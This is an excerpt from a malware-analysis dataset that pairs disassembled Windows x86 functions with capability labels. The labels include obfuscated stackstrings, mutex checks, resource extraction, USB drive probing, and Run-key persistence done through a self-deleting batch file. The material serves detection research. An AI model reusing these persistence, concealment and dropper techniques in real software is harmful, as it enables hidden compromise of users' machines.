joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402ab1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x417004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x1ff
lea eax, [ebp - 0x22f]
push ebx
push eax
mov dword [ebp - 0x234], 0xf8cdf821
mov dword [ebp - 0x30], 0x45464e49
mov dword [ebp - 0x2c], 0xb7000
mov dword [ebp - 0x28], 4
mov dword [ebp - 0x24], 0x6867793d
mov dword [ebp - 0x20], 7
mov dword [ebp - 0x1c], 0x4e75547b
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0xa0bb42e7
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], 0xda80ddd9
mov dword [ebp - 8], ebx
mov byte [ebp - 0x230], bl
call fcn.0040fd90
add esp, 0xc
xor eax, eax
mov cl, byte [eax + 0x529fbc]
cmp cl, byte [ebp + eax - 0x234]
jne 0x402bb7
inc eax
cmp eax, 4
jb 0x402b31
push 0x200
mov esi, 0x32000
lea eax, [ebp - 0x230]
push esi
push eax
lea edi, [ebp - 0x234]
call fcn.0040911a
add esp, 0xc
test eax, eax
jne 0x402b6e
xor eax, eax
jmp 0x402bba
xor eax, eax
mov cl, byte [ebp + eax - 0x230]
cmp cl, byte [ebp + eax - 0x30]
jne 0x402bb7
inc eax
cmp eax, 0x2c
jb 0x402b70
push 0x1ec
lea eax, [ebp - 0x21c]
push ebx
push eax
call fcn.0040fd90
add esp, 0xc
push 0x200
lea eax, [ebp - 0x230]
push esi
push eax
lea edi, [ebp - 0x234]
call fcn.00409330
add esp, 0xc
test eax, eax
je 0x402b6a
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ad48
leave
ret
Function at 0x405348
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push esi
push edi
push 0x38
xor esi, esi
lea eax, [ebp - 0x38]
push esi
push eax
call fcn.0040fd90
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], eax
add esp, 0xc
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0x40
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], str.open
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push dword [ebp + 0x10]
mov edi, eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
cmp dword [ebp - 4], esi
je 0x4053b1
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x4053b7
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.00410620
mov eax, dword [0x417004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
mov esi, 0x7fe
push esi
push eax
mov word [ebp - 0x804], ax
lea eax, [ebp - 0x802]
push eax
call fcn.0040fd90
xor eax, eax
push esi
push eax
mov word [ebp - 0x1004], ax
lea eax, [ebp - 0x1002]
push eax
call fcn.0040fd90
add esp, 0x18
push 0x400
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
test eax, eax
jne 0x405433
movzx ecx, word [eax + str.C:WindowsSystem32]
mov word [ebp + eax - 0x804], cx
add eax, 2
test cx, cx
jne 0x40541c
lea eax, [ebp - 0x804]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40543c
sub eax, edx
sar eax, 1
lea eax, [ebp + eax*2 - 0x804]
cmp word [eax - 2], 0x5c
jne 0x40545f
xor ecx, ecx
mov word [eax - 2], cx
lea edi, [ebp - 0x804]
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x405468
mov esi, str.cmd.exe
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push ebx
lea eax, [ebp - 0x1004]
push str._c__s
push eax
movsw word es:[edi], word [esi]
call fcn.0040af2c
push dword [ebp + 8]
lea eax, [ebp - 0x1004]
push eax
lea eax, [ebp - 0x804]
push eax
call fcn.00405348
mov ecx, dword [ebp - 4]
add esp, 0x18
pop edi
xor ecx, ebp
pop esi
call fcn.0040ad48
leave
ret
Function at 0x4054f0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x828
mov eax, dword [0x417004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 6
pop ecx
xor eax, eax
lea edi, [ebp - 0x824]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
push 0x802
mov word [ebp - 0x808], ax
xor esi, esi
lea eax, [ebp - 0x806]
push esi
push eax
call fcn.0040fd90
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x808]
add esp, 0xc
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
cmp cx, si
jne 0x40553f
lea eax, [ebp - 0x808]
mov dword [ebp - 0x820], eax
mov eax, 0x414
mov word [ebp - 0x818], ax
lea eax, [ebp - 0x828]
push eax
mov dword [ebp - 0x828], esi
mov dword [ebp - 0x824], 3
mov dword [ebp - 0x81c], esi
mov dword [ebp - 0x816], esi
mov dword [ebp - 0x812], esi
mov dword [ebp - 0x80e], 0x414828
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0040ad48
leave
ret
Function at 0x4061ea
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1264
call fcn.00410620
mov eax, dword [0x417004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor eax, eax
mov esi, 0x7fe
xor ebx, ebx
push esi
mov word [ebp - 0x1008], ax
lea eax, [ebp - 0x1006]
push ebx
push eax
mov dword [ebp - 0x125c], ebx
call fcn.0040fd90
add esp, 0xc
xor eax, eax
push esi
mov word [ebp - 0x808], ax
lea eax, [ebp - 0x806]
push ebx
push eax
call fcn.0040fd90
add esp, 0xc
push edi
lea eax, [ebp - 0x1008]
push str._s
push eax
call fcn.00406451
add esp, 0xc
lea eax, [ebp - 0x1258]
push eax
lea eax, [ebp - 0x1008]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov dword [ebp - 0x1260], eax
cmp eax, 0xffffffff
jne 0x406283
xor eax, eax
jmp 0x4063c7
mov ebx, dword [ebp + 0xc]
push 4
pop esi
test byte [ebp - 0x1258], 0x10
je 0x40638f
mov ecx, 0x414914
lea eax, [ebp - 0x122c]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4062c5
test dx, dx
je 0x4062c1
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4062c5
add eax, esi
add ecx, esi
test dx, dx
jne 0x4062a1
xor eax, eax
jmp 0x4062ca
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40639a
mov ecx, 0x414918
lea eax, [ebp - 0x122c]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x406301
test dx, dx
je 0x4062fd
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x406301
add eax, esi
add ecx, esi
test dx, dx
jne 0x4062dd
xor eax, eax
jmp 0x406306
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40639a
lea eax, [ebp - 0x122c]
push eax
push edi
lea eax, [ebp - 0x808]
push str._s_s
push eax
call fcn.00406451
add esp, 0x10
cmp ebx, 2
jne 0x406375
push 0x418a78
lea eax, [ebp - 0x1254]
push eax
call dword [sym.imp.KERNEL32.DLL_CompareFileTime]
cmp eax, 0xffffffff
jne 0x406375
xor eax, eax
movzx ecx, word [ebp + eax - 0x808]
mov word [eax + 0x5297b0], cx
add eax, 2
test cx, cx
jne 0x406348
mov eax, dword [ebp - 0x1254]
mov dword [0x418a78], eax
mov eax, dword [ebp - 0x1250]
mov dword [0x418a7c], eax
lea eax, [ebx + 1]
push eax
lea eax, [ebp - 0x808]
push eax
call fcn.004061ea
add dword [ebp - 0x125c], eax
pop ecx
pop ecx
jmp 0x40639a
cmp ebx, 3
jne 0x40639a
inc dword [ebp - 0x125c]
lea eax, [ebp - 0x1258]
push eax
push dword [ebp - 0x1260]
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x406289
push dword [ebp - 0x1260]
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov eax, dword [ebp - 0x125c]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ad48
leave
ret
Function at 0x4085a7
Capabilities:
Create process on windows
Delete file
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x21a4
call fcn.00410620
mov eax, dword [0x417004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x2198], eax
xor eax, eax
mov esi, 0x7fe
push esi
mov word [ebp - 0x994], ax
xor ebx, ebx
lea eax, [ebp - 0x992]
push ebx
push eax
call fcn.0040fd90
xor eax, eax
push esi
mov word [ebp - 0x1194], ax
lea eax, [ebp - 0x1192]
push ebx
push eax
call fcn.0040fd90
push 0x19
pop ecx
mov esi, str.HKCUSoftwareMicrosoftWindowsCurrentVersionRun
lea edi, [ebp - 0x194]
rep movsd dword es:[edi], dword [esi]
push 0x62
lea eax, [ebp - 0x12e]
push ebx
push eax
movsw word es:[edi], word [esi]
call fcn.0040fd90
push 5
pop ecx
mov esi, str.WsatConfig
lea edi, [ebp - 0xcc]
rep movsd dword es:[edi], dword [esi]
push 0xb2
lea eax, [ebp - 0xb6]
push ebx
push eax
movsw word es:[edi], word [esi]
call fcn.0040fd90
xor eax, eax
push 0xffe
mov word [ebp - 0x2194], ax
lea eax, [ebp - 0x2192]
push ebx
push eax
call fcn.0040fd90
add esp, 0x3c
lea eax, [ebp - 0x994]
push eax
push 0x400
mov dword [ebp - 0x219c], ebx
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
test eax, eax
jne 0x408695
movzx ecx, word [eax + str.C:WindowsTemp]
mov word [ebp + eax - 0x994], cx
add eax, 2
cmp cx, bx
jne 0x40867e
lea eax, [ebp - 0x994]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x40869e
sub eax, edx
sar eax, 1
lea eax, [ebp + eax*2 - 0x994]
cmp word [eax - 2], 0x5c
jne 0x4086c1
xor ecx, ecx
mov word [eax - 2], cx
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
lea eax, [ebp - 0x994]
push eax
lea eax, [ebp - 0x1194]
push str._s_rab_08x.bat
push eax
call fcn.0040af2c
push dword [ebp - 0x2198]
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x194]
push eax
lea eax, [ebp - 0x2194]
push str._echo_off_r_nchcp_65001_r_nreg_add___s___v___s___t_REG_SZ__d___s___f_r_ndel___0__Q
push eax
call fcn.0040af2c
mov esi, dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
add esp, 0x24
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
lea eax, [ebp - 0x2194]
push eax
push ebx
mov edi, 0xfde9
push edi
call esi
mov dword [ebp - 0x21a0], eax
cmp eax, ebx
je 0x4087c2
push eax
call fcn.0040ae5e
pop ecx
push ebx
push ebx
push dword [ebp - 0x21a0]
mov dword [ebp - 0x2198], eax
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x2194]
push eax
push ebx
push edi
call esi
cmp eax, ebx
je 0x4087ae
lea ecx, [ebp - 0x21a4]
push ecx
push eax
push dword [ebp - 0x2198]
lea eax, [ebp - 0x1194]
push eax
call fcn.004019ed
add esp, 0x10
test eax, eax
je 0x4087ae
push ebx
push ebx
push ebx
lea eax, [ebp - 0x1194]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jg 0x4087a4
lea eax, [ebp - 0x1194]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
jmp 0x4087ae
mov dword [ebp - 0x219c], 1
cmp dword [ebp - 0x2198], ebx
je 0x4087c2
push dword [ebp - 0x2198]
call fcn.0040aef2
pop ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x219c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ad48
leave
ret
Function at 0x40883f
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x630
mov eax, dword [0x417004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x41524c]
push esi
push edi
mov dword [ebp - 0x20c], eax
mov eax, dword [0x415250]
xor edi, edi
push 0x200
mov dword [ebp - 0x208], eax
lea eax, [ebp - 0x204]
push edi
push eax
mov dword [ebp - 0x624], edi
mov dword [ebp - 0x630], edi
mov dword [ebp - 0x62c], edi
call fcn.0040fd90
xor eax, eax
mov esi, 0x206
push esi
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push edi
push eax
call fcn.0040fd90
xor eax, eax
push esi
mov word [ebp - 0x61c], ax
lea eax, [ebp - 0x61a]
push edi
push eax
call fcn.0040fd90
add esp, 0x24
mov dword [ebp - 0x620], 0x41
mov dword [ebp - 0x628], edi
mov esi, 0x104
mov ax, word [ebp - 0x620]
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
cmp eax, 2
jne 0x4089b0
push esi
lea eax, [ebp - 0x61c]
push eax
lea eax, [ebp - 0x62c]
push eax
lea eax, [ebp - 0x630]
push eax
push edi
push esi
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationW]
mov ecx, str.USB_AV
lea eax, [ebp - 0x414]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40895c
cmp dx, di
je 0x408958
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40895c
add eax, 4
add ecx, 4
cmp dx, di
jne 0x408936
xor eax, eax
jmp 0x408961
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
je 0x40899f
mov ecx, 0x415264
lea eax, [ebp - 0x414]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x408996
cmp dx, di
je 0x408992
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x408996
add eax, 4
add ecx, 4
cmp dx, di
jne 0x408970
xor eax, eax
jmp 0x40899b
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x4089b0
mov ecx, dword [ebp - 0x628]
xor eax, eax
inc eax
shl eax, cl
or dword [ebp - 0x624], eax
inc dword [ebp - 0x620]
inc dword [ebp - 0x628]
cmp word [ebp - 0x620], 0x5a
jbe 0x4088db
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x624]
pop edi
xor ecx, ebp
pop esi
call fcn.0040ad48
leave
ret
Function at 0x408def
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcbc
mov eax, dword [0x417004]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push edi
xor eax, eax
push 0x7fe
push eax
mov word [ebp - 0xa64], ax
lea eax, [ebp - 0xa62]
push eax
call fcn.0040fd90
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x264], ax
lea eax, [ebp - 0x262]
push eax
call fcn.0040fd90
movzx esi, word [ebp + 8]
xor eax, eax
mov byte [ebp - 0x58], 0
lea edi, [ebp - 0x57]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
push esi
stosb byte es:[edi], al
lea eax, [ebp - 0xa64]
push str._c:
push eax
mov dword [ebp - 0x44], 0xee2b3025
mov dword [ebp - 0x40], 0x9140adb2
mov dword [ebp - 0x3c], 0x79d2d48e
mov dword [ebp - 0x38], 0x5b4a2c0b
mov dword [ebp - 0x34], 0x9467c55e
mov dword [ebp - 0x30], 0x1e1f2024
mov dword [ebp - 0x2c], 0x9b742f4b
mov dword [ebp - 0x28], 0x8d3896db
mov dword [ebp - 0x24], 0x52c1517e
mov dword [ebp - 0x20], 0x4b192dc1
mov dword [ebp - 0x1c], 0xa9f3bb1d
mov dword [ebp - 0x18], 0x3bb0bc2d
mov dword [ebp - 0x14], 0xac6aa92a
mov dword [ebp - 0x10], 0x6128c153
mov dword [ebp - 0xc], 0x2fa9e296
call fcn.00406451
add esp, 0x24
lea eax, [ebp - 0xcb4]
push eax
lea eax, [ebp - 0xa64]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov dword [ebp - 0xcb8], eax
cmp eax, 0xffffffff
jne 0x408efb
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop esi
call fcn.0040ad48
leave
ret
test byte [ebp - 0xcb4], 0x10
jne 0x408f3e
mov ecx, 0x4152d0
lea eax, [ebp - 0xc88]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x408f35
test dx, dx
je 0x408f31
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x408f35
add eax, 4
add ecx, 4
test dx, dx
jne 0x408f0f
xor eax, eax
jmp 0x408f3a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x408f5a
lea eax, [ebp - 0xcb4]
push eax
push dword [ebp - 0xcb8]
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x408efb
or esi, 0xffffffff
jmp 0x408f91
lea eax, [ebp - 0xc88]
push eax
push esi
lea eax, [ebp - 0x264]
push str._c:_s
push eax
call fcn.00406451
lea eax, [ebp - 0x264]
push eax
lea ecx, [ebp - 0x58]
lea edi, [ebp - 0xcbc]
call fcn.00401667
add esp, 0x14
xor esi, esi
test eax, eax
jne 0x408fa4
push dword [ebp - 0xcb8]
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov eax, esi
jmp 0x408eed
lea ecx, [ebp - 0x44]
xor eax, eax
mov dl, byte [ebp + eax - 0x58]
cmp dl, byte [ecx + eax]
jne 0x408fbd
inc eax
cmp eax, 0x14
jb 0x408fa9
xor esi, esi
inc esi
jmp 0x408f91
inc esi
add ecx, 0x14
cmp esi, 2
jl 0x408fa7
xor eax, eax
mov cl, byte [ebp + eax - 0x58]
cmp cl, byte [ebp + eax - 0x1c]
jne 0x408f55
inc eax
cmp eax, 0x14
jb 0x408fc8
push 2
pop esi
jmp 0x408f91
Function at 0x408fdd
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
mov eax, dword [0x417004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x1ff
xor esi, esi
lea eax, [ebp - 0x20f]
push esi
push eax
mov byte [ebp - 0x210], 0
call fcn.0040fd90
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
xor eax, eax
push esi
inc eax
call fcn.0040654e
pop ecx
pop ecx
test eax, eax
je 0x40902e
xor eax, eax
jmp 0x4090fb
cmp dword [ebp - 0x24], 0x5936
jbe 0x409043
mov esi, str.Position_to_write_exe_wrong
call fcn.0040a18a
jmp 0x409027
call fcn.004084a6
test eax, eax
jne 0x409027
push 0x41534c
push 0x65
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceW]
mov edi, eax
cmp edi, esi
je 0x409027
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov ebx, eax
cmp ebx, esi
je 0x409027
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
cmp eax, esi
je 0x409027
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
lea edi, [ebp - 0x230]
mov esi, eax
call fcn.00408050
test eax, eax
jne 0x409027
mov dword [ebp - 0x234], esi
mov edi, 0x100000
jmp 0x4090c6
lea eax, [ebp - 0x238]
push eax
mov eax, dword [ebp - 0x234]
push edi
lea esi, [ebp - 0x230]
call fcn.004081d9
pop ecx
pop ecx
test eax, eax
jne 0x40910a
add dword [ebp - 0x234], edi
sub ebx, edi
cmp ebx, edi
jae 0x40909f
test ebx, ebx
je 0x4090ed
lea eax, [ebp - 0x238]
push eax
mov eax, dword [ebp - 0x234]
push ebx
lea esi, [ebp - 0x230]
call fcn.004081d9
pop ecx
pop ecx
test eax, eax
jne 0x40910a
lea eax, [ebp - 0x230]
call fcn.0040848b
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ad48
leave
ret
lea eax, [ebp - 0x230]
call fcn.0040848b
jmp 0x409027
Function at 0x40911a
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
mov eax, dword [0x417004]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, 0x1ff
push esi
mov dword [ebp - 0x224], eax
xor ebx, ebx
lea eax, [ebp - 0x20b]
push ebx
push eax
mov byte [ebp - 0x20c], 0
call fcn.0040fd90
add esp, 0xc
push str.WMux1
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateMutexW]
mov dword [ebp - 0x210], eax
cmp eax, ebx
jne 0x40917e
xor eax, eax
mov ecx, dword [ebp - 8]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ad48
leave
ret
mov eax, dword [ebp + 0x10]
xor edx, edx
mov ecx, 0x14000
div ecx
cmp edx, ebx
je 0x40918f
inc eax
mov edx, dword [ebp + 0x10]
mov ecx, edx
shr ecx, 9
test esi, edx
je 0x40919c
inc ecx
mov esi, dword [ebp - 0x224]
mov dword [ebp - 0x214], esi
mov esi, dword [ebp + 0xc]
mov dword [edi], ebx
mov dword [ebp - 0x228], ebx
lea ebx, [eax - 1]
mov dword [ebp - 0x21c], esi
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x220], edx
mov esi, 0x200
test ebx, ebx
je 0x40925c
push 0xffffffffffffffff
push dword [ebp - 0x210]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
and dword [ebp - 0x218], 0
push dword [ebp - 0x214]
mov eax, dword [ebp - 0x21c]
push 0
call fcn.0040654e
pop ecx
pop ecx
test eax, eax
jne 0x4092f0
add dword [ebp - 0x214], esi
inc dword [ebp - 0x21c]
dec dword [ebp - 0x224]
sub dword [ebp - 0x220], esi
add dword [edi], esi
inc dword [ebp - 0x218]
cmp dword [ebp - 0x218], 0xa0
jb 0x4091ea
push dword [ebp - 0x210]
call dword [sym.imp.KERNEL32.DLL_ReleaseMutex]
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
inc dword [ebp - 0x228]
cmp dword [ebp - 0x228], ebx
jb 0x4091d5
push 0xffffffffffffffff
push dword [ebp - 0x210]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov ebx, dword [ebp - 0x224]
and dword [ebp - 0x218], 0
dec ebx
je 0x4092b5
push dword [ebp - 0x214]
mov eax, dword [ebp - 0x21c]
push 0
call fcn.0040654e
pop ecx
pop ecx
test eax, eax
jne 0x4092f0
add dword [ebp - 0x214], esi
inc dword [ebp - 0x21c]
sub dword [ebp - 0x220], esi
add dword [edi], esi
inc dword [ebp - 0x218]
cmp dword [ebp - 0x218], ebx
jb 0x40927a
lea eax, [ebp - 0x20c]
push eax
mov eax, dword [ebp - 0x21c]
push 0
call fcn.0040654e
pop ecx
pop ecx
test eax, eax
je 0x40930d
xor esi, esi
push dword [ebp - 0x210]
call dword [sym.imp.KERNEL32.DLL_ReleaseMutex]
push dword [ebp - 0x210]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, esi
jmp 0x409170
push dword [ebp - 0x210]
call dword [sym.imp.KERNEL32.DLL_ReleaseMutex]
push dword [ebp - 0x210]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x40916e
mov esi, dword [ebp - 0x220]
push esi
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x214]
call fcn.0040fe40
add dword [edi], esi
xor esi, esi
add esp, 0xc
inc esi
jmp 0x4092d1
Function at 0x409330
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
mov eax, dword [0x417004]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, 0x1ff
push esi
mov dword [ebp - 0x224], eax
xor ebx, ebx
lea eax, [ebp - 0x20b]
push ebx
push eax
mov byte [ebp - 0x20c], 0
call fcn.0040fd90
add esp, 0xc
push str.WMux1
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateMutexW]
mov dword [ebp - 0x210], eax
cmp eax, ebx
jne 0x409394
xor eax, eax
mov ecx, dword [ebp - 8]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ad48
leave
ret
mov eax, dword [ebp + 0x10]
xor edx, edx
mov ecx, 0x14000
div ecx
cmp edx, ebx
je 0x4093a5
inc eax
mov edx, dword [ebp + 0x10]
mov ecx, edx
shr ecx, 9
test esi, edx
je 0x4093b2
inc ecx
mov esi, dword [ebp - 0x224]
mov dword [ebp - 0x21c], esi
mov esi, dword [ebp + 0xc]
mov dword [edi], ebx
mov dword [ebp - 0x228], ebx
lea ebx, [eax - 1]
mov dword [ebp - 0x214], esi
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x220], edx
mov esi, 0x200
test ebx, ebx
je 0x409475
push 0xffffffffffffffff
push dword [ebp - 0x210]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
and dword [ebp - 0x218], 0
push 1
push dword [ebp - 0x214]
push dword [ebp - 0x21c]
push 0
call fcn.004066fc
add esp, 0x10
test eax, eax
jne 0x40952b
add dword [ebp - 0x21c], esi
inc dword [ebp - 0x214]
dec dword [ebp - 0x224]
sub dword [ebp - 0x220], esi
add dword [edi], esi
inc dword [ebp - 0x218]
cmp dword [ebp - 0x218], 0xa0
jb 0x409400
push dword [ebp - 0x210]
call dword [sym.imp.KERNEL32.DLL_ReleaseMutex]
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
inc dword [ebp - 0x228]
cmp dword [ebp - 0x228], ebx
jb 0x4093eb
push 0xffffffffffffffff
push dword [ebp - 0x210]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov ebx, dword [ebp - 0x224]
and dword [ebp - 0x218], 0
dec ebx
je 0x4094d1
push 1
push dword [ebp - 0x214]
push dword [ebp - 0x21c]
push 0
call fcn.004066fc
add esp, 0x10
test eax, eax
jne 0x40952b
add dword [ebp - 0x21c], esi
inc dword [ebp - 0x214]
sub dword [ebp - 0x220], esi
add dword [edi], esi
inc dword [ebp - 0x218]
cmp dword [ebp - 0x218], ebx
jb 0x409493
mov esi, dword [ebp - 0x220]
push esi
push dword [ebp - 0x21c]
lea eax, [ebp - 0x20c]
push eax
call fcn.0040fe40
add esp, 0xc
push 1
push dword [ebp - 0x214]
lea eax, [ebp - 0x20c]
push eax
push 0
call fcn.004066fc
add esp, 0x10
test eax, eax
je 0x409548
xor esi, esi
push dword [ebp - 0x210]
call dword [sym.imp.KERNEL32.DLL_ReleaseMutex]
push dword [ebp - 0x210]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, esi
jmp 0x409386
push dword [ebp - 0x210]
call dword [sym.imp.KERNEL32.DLL_ReleaseMutex]
push dword [ebp - 0x210]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x409384
add dword [edi], esi
xor esi, esi
inc esi
jmp 0x40950c